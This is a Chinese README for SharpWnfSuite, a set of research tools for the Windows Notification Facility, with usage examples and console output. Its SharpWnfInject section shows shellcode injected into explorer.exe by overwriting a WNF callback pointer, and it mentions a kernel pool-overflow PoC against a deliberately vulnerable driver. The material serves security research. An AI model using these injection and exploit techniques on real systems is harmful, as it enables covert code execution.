这是 Windows 通知设施(WNF)工具的仓库。 目前,已上传了 Alex Ionescu(@aionescu)和 Gabrielle Viala(@pwissenlit)所开发的 wnfun 中工具的 C# 移植版本。 当我为 Windows 通知设施开发更多工具时,它们将被上传到这里。
此工具用于转储或操作有关 WNF 状态名称的信息。 等同于 wnfdump.exe 和 WnfDump.py。 我对原始工具进行了一些更新(异常处理、已知状态名称和新的 WNF_DATA_SCOPE 成员)。
要检索主机上所有已知、永久和持久 WNF 状态名称的信息,请使用 -d(--dump)标志执行:```
PS C:\Dev> .\SharpWnfDump.exe -d
| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 | | WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 | | WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 11 |
--snip--
仅显示系统中使用的状态名称,请设置 `-u`(`--used`)标志。
此标志可应用于 `-d` 和 `-b` 选项:```
PS C:\Dev> .\SharpWnfDump.exe -d -u
| WNF State Name [WellKnown Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 140 |
| WNF_AUDC_RENDER | S | W | N | RO | U | 4096 | 4096 | 7 |
| WNF_AUDC_CAPTURE | S | W | N | RO | U | 4096 | 4096 | 1 |
| WNF_AUDC_SPATIAL_STATUS | S | W | N | RO | U | 4096 | 4096 | 3 |
--snip--
如果要检索安全描述符信息,请设置 -s (--sid) 标志:```
PS C:\Dev> .\SharpWnfDump.exe -d -s
| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 |
D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)
| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 |
D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)
| WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 11 |
D:(A;;CC;;;BU)(A;;CCDC;;;SY)
--snip--
如果你想检索缓冲区数据,请设置 `-v`(`--value`)或 `-r`(`--read`)标志。
这些标志可以与 `-s` 标志一起使用:```
PS C:\Dev> .\SharpWnfDump.exe -d -v
| WNF State Name [WellKnown Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 |
| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 |
--snip--
| WNF_AUDC_RENDER | S | W | N | RO | U | 4096 | 4096 | 1 |
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
00000010 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
00000020 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
--snip--
要检索主机上所有临时 WNF 状态名称的信息,请使用 -b(--brut)标志执行:```
PS C:\Dev> .\SharpWnfDump.exe -b
| 0x41C64E6DA3AC3845 | S | T | N | RW | A | 8 | ? | 1 | | 0x41C64E6DA3AC4845 | S | T | N | RW | A | 8 | ? | 1 | | 0x41C64E6DA3AC6845 | S | T | N | RW | A | 8 | ? | 1 |
--snip--
`-b`(`--brut`)标志可以与 `-v`(`--value`)或 `-r`(`--read`)标志一起使用,但不能与 `-s`(`--sid`)标志一起使用。
从 `--dump` 或 `--brut` 选项结果中获得的表格中各列的含义如下:
| 列名 | 描述 |
| :--- | :--- |
| `WNF State Name` | 此处输出 WNF State Name |
| `S` | WNF State Name 的数据范围。显示的字母含义如下:<br><br>+ `S` : 系统范围<br>+ `s` : 会话范围<br>+ `U` : 用户范围<br>+ `P` : 进程范围<br>+ `M` : 计算机范围<br>+ `p` : 物理机范围 |
| `L` | WNF State Name 的生命周期。显示的字母含义如下:<br><br>+ `W` : 已知<br>+ `P` : 永久<br>+ `V` : 持久(易失)<br>+ `T` : 临时 |
| `P` | 显示 WNF State Name 是否永久:<br><br>+ `Y` : 是<br>+ `N` : 否 |
| `AC` | WNF State Name 的访问控制:<br><br>+ `RW` : 可读写<br>+ `RO` : 只读<br>+ `WO` : 只写<br>+ `NA` : 不可读写 |
| `N` | 显示订阅者是否存在:<br><br>+ `A` : 存在订阅者<br>+ `I` : 不存在订阅者<br>+ `U` : 未知 |
| `CurSize` | 该数字表示 WNF State Name 当前使用的缓冲区大小。 |
| `MaxSize` | 该数字表示 WNF State Name 可使用的最大缓冲区大小。 |
| `Changes` | 该数字表示更新次数。 |
如果要检索特定 WNF State Name 的信息,请使用 `-i`(`--info`)选项执行 `SharpWnfDump.exe`,如下所示:```
PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN
| WNF State Name | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 1 |
-i(--info)选项可以与 -v(--value)、-r(--read)和 -s(--sid)标志一起使用:```
PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -s -v
| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 1 |
D:(A;;CC;;;WD)(A;;CCDC;;;AU)(A;;CCDC;;;AC)
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 01 00 00 00 | ....
要从特定的 WNF State Name 读取数据,请按如下方式使用 `-r`(`--read`)标志:```
PS C:\Dev> .\SharpWnfDump.exe -r WNF_SHEL_APPRESOLVER_SCAN
WNF_SHEL_APPRESOLVER_SCAN:
00000000 | 11 00 00 00 | ....
要向特定的 WNF 状态名称写入数据,请使用 -w (--write) 标志,如下所示(用于写入的数据应通过文件提供):```
PS C:\Dev> "hi" | Out-File -Encoding ascii -FilePath C:\Dev\test.txt
PS C:\Dev> Get-Content -Path C:\Dev\test.txt
hi
PS C:\Dev> .\SharpWnfDump.exe -w WNF_SHEL_APPRESOLVER_SCAN C:\Dev\test.txt
[>] Trying to write data. [] Target WNF Name : WNF_SHEL_APPRESOLVER_SCAN [] Data Source : C:\Dev\test.txt [+] Data is written successfully.
PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -r
| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 2 |
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 68 69 0D 0A | hi..
### SharpWnfNameDumper
[返回顶部](#sharpwnfsuite)
[项目](https://github.com/daem0nc0re/sharpwnfsuite/blob/main/SharpWnfSuite/SharpWnfNameDumper)
该工具从 DLL(通常是 perf_nt_c.dll)中转储已知状态名称(Well-Known State Name)。
等同于 [WnfNameDumper.py](https://github.com/ionescu007/wnfun/blob/master/script_python/WnfNameDumper.py)。
通常,已知状态名称(Well-Known State Names)包含在 perf_nt_c.dll 中(该 DLL 位于 Windows Performance Analyzer 中)。
要从 DLL 中转储已知状态名称(Well-Known State Names),请按如下方式使用 `-d`(`--dump`)选项执行 `SharpWnfNameDumper.exe`:```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll
[>] Output results in C# style.
public enum WELL_KNOWN_WNF_NAME : ulong
{
WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,
--snip--
如果你想要转储知名状态名称(Well-Known State Names)的描述,请设置 -v 标志:```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -v
[>] Output results in C# style.
public enum WELL_KNOWN_WNF_NAME : ulong { // The Plan 9 Redirector was started and is ready to accept requests. WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL, // The Plan 9 Redirector got a request for an unknown WSL distribution and there is no user callback registered to query it. WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,
--snip--
要指定输出格式,请使用 `-f`(`--format`)选项。`SharpWnfNameDumper.exe` 支持 C#、C(`-f c`)和 Python(`-f py`)格式(默认格式为 C#):```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -f py
[>] Output results in Python style.
g_WellKnownWnfNames = {
"WNF_9P_REDIRECTOR_STARTED": 0x41C61E54A3BC1075,
"WNF_9P_UNKNOWN_DISTRO_NAME": 0x41C61E54A3BC0875,
--snip--
要将结果输出到文件,请使用 -o(--output)选项指定输出文件路径:```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -o result.txt
[>] Output results in C# style.
C:\dev>type result.txt public enum WELL_KNOWN_WNF_NAME : ulong { WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL, WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,
--snip--
要对两个 DLL 进行差异比较,请使用 `-D` (`--diff`) 选项:```
PS C:\Dev> .\SharpWnfNameDumper.exe -D perf_nt_c_old.dll perf_nt_c_new.dll
[>] Output results in C# style.
################################################
# NEW KEYS #
################################################
public enum WELL_KNOWN_WNF_NAME : ulong
{
WNF_SHEL_CHAT_ICON_BADGE = 0x0D83063EA3B8A035UL,
WNF_SHEL_ENTERPRISE_START_PINS_POLICY_VALUE_CHANGED = 0x0D83063EA3B89475UL,
WNF_SHEL_FILE_EXPLORER_PINNED_FOLDERS = 0x0D83063EA3B8ACF5UL,
WNF_SHEL_MAC_AUTO_UPDATE_SUCCEEDED = 0x0D83063EA3B89875UL
}
这是一个用于订阅 WNF 状态名称的工具。 相当于 wnfclient-rtl.exe 和 WnfClientServer.py。
例如,如果你想监控 WNF_SHEL_APPLICATION_STARTED 的状态,请按如下方式执行 SharpWnfClient.exe:```
PS C:\Dev> .\SharpWnfClient.exe WNF_SHEL_APPLICATION_STARTED
[>] Received data from server. [] Timestamp : 4 [] Buffer Size : 92 byte(s) [*] Data :
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
00000020 | 6F 00 77 00 73 00 74 00-65 00 72 00 6D 00 69 00 | o.w.s.t. e.r.m.i.
00000030 | 6E 00 61 00 6C 00 5F 00-38 00 77 00 65 00 6B 00 | n.a.l._. 8.w.e.k.
00000040 | 79 00 62 00 33 00 64 00-38 00 62 00 62 00 77 00 | y.b.3.d. 8.b.b.w.
00000050 | 65 00 21 00 61 00 70 00-70 00 00 00 | e.!.a.p. p...
然后,如果你启动记事本应用程序,应该会看到以下结果:```
[>] Received data from server.
[*] Timestamp : 5
[*] Buffer Size : 90 byte(s)
[*] Data :
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
00000020 | 6F 00 77 00 73 00 6E 00-6F 00 74 00 65 00 70 00 | o.w.s.n. o.t.e.p.
00000030 | 61 00 64 00 5F 00 38 00-77 00 65 00 6B 00 79 00 | a.d._.8. w.e.k.y.
00000040 | 62 00 33 00 64 00 38 00-62 00 62 00 77 00 65 00 | b.3.d.8. b.b.w.e.
00000050 | 21 00 61 00 70 00 70 00-00 00 | !.a.p.p. ..
此工具创建一个临时生命周期的 WNF 状态名称,并向订阅者发送一些消息。 相当于 wnfserver.exe 和 WnfClientServer.py。
要启动新的 WNF 状态名称服务器,只需执行 SharpWnfServer.exe。我们将进入如下所示的交互式 shell:```
PS C:\Dev> .\SharpWnfServer.exe
[+] New WNF State Name is created successfully : 0x41C64E6DA3834945
Encoded State Name: 0x41C64E6DA3834945, Decoded State Name: 0x3F4931 Version: 1, Lifetime: Temporary, Scope: Machine, Permanent: NO, Sequence Number: 0x7E9, Owner Tag: 0x0
Sending input data to WNF subscriber...
[INPUT]>
执行 `SharpWnfServer.exe` 后,在另一个终端中执行 `SharpWnfClient.exe`,并提供 `SharpWnfServer.exe` 显示的 WNF State Name。你应该会收到来自 `SharpWnfServer.exe` 的消息 "Hello, world!":```
PS C:\Dev> .\SharpWnfClient.exe 0x41C64E6DA3834945
[>] Received data from server.
[*] Timestamp : 1
[*] Buffer Size : 13 byte(s)
[*] Data :
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21 | Hello,.w orld!
要向 SharpWnfClient.exe 发布附加消息,请在 SharpWnfServer.exe 的交互式 shell 中输入您的消息:```
[INPUT]> This is WNF test
Sending input data to WNF subscriber...
[INPUT]>
然后,你应该会在终端中看到 `SharpWnfClient.exe` 的消息,如下所示:```
[>] Received data from server.
[*] Timestamp : 2
[*] Buffer Size : 16 byte(s)
[*] Data :
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 54 68 69 73 20 69 73 20-57 4E 46 20 74 65 73 74 | This.is. WNF.test
该工具基于 modexp 的 wnfscan,并从进程中转储 WNF 订阅信息。``` PS C:\Dev> .\SharpWnfScan.exe -h
SharpWnfScan - Tool for dumping WNF information from process.
Usage: SharpWnfScan.exe [Options]
-h, --help : Displays this help message.
-p, --pid : Specifies the target PID.
-P, --processname : Specifies the target process name.
-n, --name : Specifies a wnf state name for filtering.
-a, --all : Flag to dump information from all process.
-l, --list : Flag to list WNF State Name on this system.
-d, --debug : Flag to enable SeDebugPrivilege. Administrative privilege is required.
-v, --verbose : Flag to get verbose information.
要转储特定进程,请按如下方式设置 `-p` 选项:```
PS C:\Dev> .\SharpWnfScan.exe -p 5800
Process ID : 5800
Image File Name : C:\Windows\explorer.exe
Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660
WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)
WNF_NAME_SUBSCRIPTION @ 0x0000000005099950
StateName : 0x41960A2EA3BC1835 (WNF_CDP_CDPUSERSVC_READY)
--snip--
如果你想获取 WNF_USER_SUBSCRIPTION 信息,请按如下方式设置 -v 标志:```
PS C:\Dev> .\SharpWnfScan.exe -p 5800 -v
Process ID : 5800 Image File Name : C:\Windows\explorer.exe Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660
WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
WNF_USER_SUBSCRIPTION @ 0x0000000001206A40
Callback @ 0x00007FFE88478470 (ntdll!RtlNotifyFeatureUsage+0x1C0)
Context @ 0x00007FFE886F0B20 (ntdll!NlsAnsiCodePage+0x2390)
WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)
WNF_USER_SUBSCRIPTION @ 0x0000000001207FD0
Callback @ 0x00007FF7073027C0 (explorer)
Context @ 0x0000000001208CC0 (N/A)
--snip--
你可以使用 `-P` 选项按名称指定目标进程:```
PS C:\Dev> .\SharpWnfScan.exe -P notepad
Process ID : 8720
Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe
Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B02D640
StateName : 0x41C61629A3BC2835 (WNF_DX_MONITOR_CHANGE_NOTIFICATION)
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B03E040
StateName : 0x41950223A3BC1035 (WNF_NLS_USER_UILANG_CHANGED)
--snip--
要按状态名称过滤,请将 hex 或已知的 wnf 名称字符串设置为 -n 选项,如下所示:```
PS C:\Dev> .\SharpWnfScan.exe -P notepad -n WNF_RPCF_FWMAN_RUNNING
Process ID : 8720 Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
PS C:\Dev> .\SharpWnfScan.exe -P notepad -n 0x07851E3FA3BC0875
Process ID : 8720 Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
要一次性转储所有进程,请使用 `-a` 选项:```
PS C:\Dev> .\SharpWnfScan.exe -a
Process ID : 1180
Image File Name : C:\Windows\System32\svchost.exe
Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x000002101A806560
WNF_NAME_SUBSCRIPTION @ 0x000002101A830120
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C1C0
StateName : 0x41C64E6DA3B0E045 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A833C50
StateName : 0x41C64E6DA3BC6145 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A846A50
StateName : 0x41C64E6DA3BD0945 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86CA00
StateName : 0x41C64E6DA3BB8045 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A806A00
StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C4C0
StateName : 0x41C64E6DA3B1E045 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C700
StateName : 0x41C64E6DA3A0F945 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A830EE0
StateName : 0x4195003AA3BC0875 (WNF_WNS_CONNECTIVITY_STATUS)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C880
StateName : 0x41C6072FA3BC3875 (WNF_BI_APPLICATION_SERVICING_START_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86CC40
StateName : 0x41C6072FA3BC1875 (WNF_BI_USER_LOGOFF_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A835E90
StateName : 0x41C6072FA3BC1075 (WNF_BI_USER_LOGON_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86CD00
StateName : 0x41C6072FA3BC2875 (WNF_BI_SESSION_DISCONNECT_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86CAC0
StateName : 0x41C6072FA3BC2075 (WNF_BI_SESSION_CONNECT_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C940
StateName : 0x41840B3EA3BC2075 (WNF_SEB_NETWORK_STATE_CHANGES)
WNF_NAME_SUBSCRIPTION @ 0x000002101A853920
StateName : 0x41C6072FA3BC3075 (WNF_BI_APPLICATION_UNINSTALL_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A836040
StateName : 0x41C6072FA3BC4875 (WNF_BI_LOCK_SCREEN_UPDATE_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C580
StateName : 0x41C6072FA3BC4075 (WNF_BI_APPLICATION_SERVICING_STOP_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A833B80
StateName : 0x41C6072FA3BC6075 (WNF_BI_QUIET_MODE_UPDATE_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C400
StateName : 0x41C6072FA3BC5075 (WNF_BI_EVENT_DELETION)
Process ID : 2952
Image File Name : C:\Windows\System32\svchost.exe
Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x0000023DD3A065C0
WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8B80
StateName : 0x41C64E6DA3B1E045 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8C40
StateName : 0x41C64E6DA3BC6145 (N/A)
--snip--
要启用 SeDebugPrivilege,请按如下方式设置 -d 标志。
此选项需要管理员权限:```
PS C:\Dev> .\SharpWnfScan.exe -d -P winlogon
[+] SeDebugPrivilege is enabled successfully.
Process ID : 680 Image File Name : C:\Windows\System32\winlogon.exe Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x00000265F4E05F80
WNF_NAME_SUBSCRIPTION @ 0x00000265F4E48AE0
StateName : 0x41C64E6DA3BC6145 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x00000265F4E27AD0
StateName : 0x41C61629A3BC1035 (WNF_DX_MODE_CHANGE_NOTIFICATION)
--snip--
要列出目标系统中使用的 WNF 状态名称,请按如下方式设置 `-l` 标志:```
PS C:\Dev> .\SharpWnfScan.exe -l
[>] Trying to list WNF State Names used in this system. Wait a moment.
[1304 WNF State Names]
[*] 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
[*] 0x41C64E6DA3B0E045 (N/A)
[*] 0x41C64E6DA3BC6145 (N/A)
[*] 0x41C64E6DA3BD0945 (N/A)
[*] 0x41C64E6DA3BB8045 (N/A)
[*] 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
[*] 0x41C64E6DA3B1E045 (N/A)
--snip--
[16 Access Denied Processes]
[*] svchost (PID : 2352)
[*] svchost (PID : 4952)
[*] MsMpEng (PID : 3132)
--snip--
[*] Done.
此工具用于研究攻击者如何滥用 WNF 进行代码注入技术:``` PS C:\Dev> .\SharpWnfInject.exe -h
SharpWnfInject - Tool to investigate WNF code injection technique.
Usage: SharpWnfInject.exe [Options]
-h, --help : Displays this help message.
-n, --name : Specifies WNF State Name to inject. Hex format or Well-known name format is accepted.
-p, --pid : Specifies PID to inject.
-i, --input : Specifies the file path to shellcode.
-d, --debug : Flag to enable SeDebugPrivilege. Requires administrative privilege.
[!] -n option is required.
该工具会覆盖特定 WNF 状态名称的 `WNF_USER_SUBSCRIPTION` 中的回调函数指针。
此代码注入技术并非适用于所有 WNF 状态名称。
例如,已知该技术可用于 Windows 11 23H2 中由 `explorer.exe` 使用的 `WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED`。
要测试此技术,请按如下方式执行此工具:```
PS C:\Dev> .\SharpWnfInject.exe -p 5800 -n WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED -i .\notepad_arm64.bin
[*] Target WNF State Name is 0x0D83063EA3BE10F5 (WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED).
[+] Got a handle from the target Process
[*] Process Name : explorer.exe
[*] Process ID : 5800
[*] Image File Name : C:\Windows\explorer.exe
[*] Architecture : ARM64
[+] Pointer for WNF_SUBSCRIPTION_TABLE is at 0x00007FFE886F4E20.
[+] WNF_SUBSCRIPTION_TABLE is at 0x0000000001206660.
[*] WNF_NAME_SUBSCRIPTION is at 0x0000000001273540.
[+] Got 1 WNF_USER_SUBSCRIPTION.
[*] Target callback pointer is at 0x00000000051C2250.
[*] Callback function is at 0x00007FFE54FD4D20 (twinui!DllGetClassObject+0x11AFF0).
[+] Shellcode buffer is at 0x0000000003270000.
[+] 344 bytes shellcode is written successfully.
[+] Callback pointer is overwritten successfully.
[>] Triggering shellcode.
[+] WNF State Data is updated successfully. Shellcode might be executed.
[+] Callback pointer is reverted successfully.
[*] Done.

如果要启用 SeDebugPrivilege,请设置 -d 标志并以管理员权限执行。
用于执行记事本的示例 shellcode 位于 Shellcode 目录。
此目录中的项目用于演示内核利用的 WNF 原语。 你可以阅读 Alex Plaskett 的演讲和博客中的详细信息(第 1 部分、第 2 部分、幻灯片)。
该 PoC 的可靠性并非 100%。 我为所有 Windows 10 x64 版本定义了内核偏移量,但仅在 Windows 10 Version 1903 x64 上进行了测试。
| Project | Description |
|---|---|
| PoolVulnDrv | 这是一个存在漏洞的内核驱动程序,用于测试 WNF 内核原语。 |
| WnfPoolOverflow | 这是一个利用 PoolVulnDrv 的 PoC。 |

此目录包含用于构建你自己的 WNF 回调 shellcode 的文档和示例代码。 请参阅 README.md。
感谢以下研究人员:
感谢以下人员的帮助: